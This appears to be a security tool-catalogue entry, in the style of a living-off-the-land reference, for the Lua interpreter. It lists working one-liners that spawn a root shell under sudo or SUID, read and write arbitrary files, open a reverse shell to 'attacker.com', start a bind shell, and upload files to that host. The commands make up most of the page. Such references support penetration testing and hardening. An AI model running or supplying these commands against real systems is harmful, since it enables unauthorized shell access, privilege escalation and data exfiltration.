Lua programming language interpreter with extensive capabilities for shell, file, and network operations.
lua {e} 📎 e lua {e} Sandbox: execFile · Timeout: 30s
security.privilege-escalation.shell security.execution.reverse-shell security.execution.bind-shell security.execution.command system.file.read system.file.write network.transfer.download network.transfer.upload | Name | Type | Required | Default | Description | Aliases |
|---|---|---|---|---|---|
e | string | No | - | Execute Lua code | -e |
Inputs
system.command.string Lua -e code string
Outputs
process.output Command or shell output
process_spawn Produces
process.outputConsumes
system.command.string| Resource | Value |
|---|---|
| CPU | low |
| Memory | 8 MB |
| Network | medium |
| Disk I/O | low |
Spawn an interactive shell
lua -e 'os.execute("/bin/sh")' Read arbitrary file
lua -e 'local f=io.open("/path/to/input-file", "rb"); io.write(f:read("*a")); io.close(f);' Write arbitrary data to file
lua -e 'local f=io.open("/path/to/output-file", "wb"); f:write("DATA"); io.close(f);' Spawn reverse shell (requires lua-socket)
lua -e '
local s=require("socket");
local t=assert(s.tcp());
t:connect("attacker.com",12345);
while true do
local r,x=t:receive();local f=assert(io.popen(r,"r"));
local b=assert(f:read("*a"));t:send(b);
end;
f:close();t:close();' Spawn bind shell (requires lua-socket)
lua -e '
local k=require("socket");
local s=assert(k.bind("*",12345));
local c=s:accept();
while true do
local r,x=c:receive();local f=assert(io.popen(r,"r"));
local b=assert(f:read("*a"));c:send(b);
end;c:close();f:close();' Upload file (requires lua-socket)
lua -e '
local f=io.open("/path/to/input-file", "rb")
local d=f:read("*a")
io.close(f);
local s=require("socket");
local t=assert(s.tcp());
t:connect("attacker.com",12345);
t:send(d);
t:close();' Download file (requires lua-socket)
lua -e '
local k=require("socket");
local s=assert(k.bind("*",12345));
local c=s:accept();
local d,x=c:receive("*a");
c:close();
local f=io.open("/path/to/output-file", "wb");
f:write(d);
io.close(f);' Lua is a powerful, lightweight programming language. With sudo or SUID, lua -e can execute arbitrary Lua code for shell access, file read/write, reverse shells, bind shells, and file transfers (some features require lua-socket).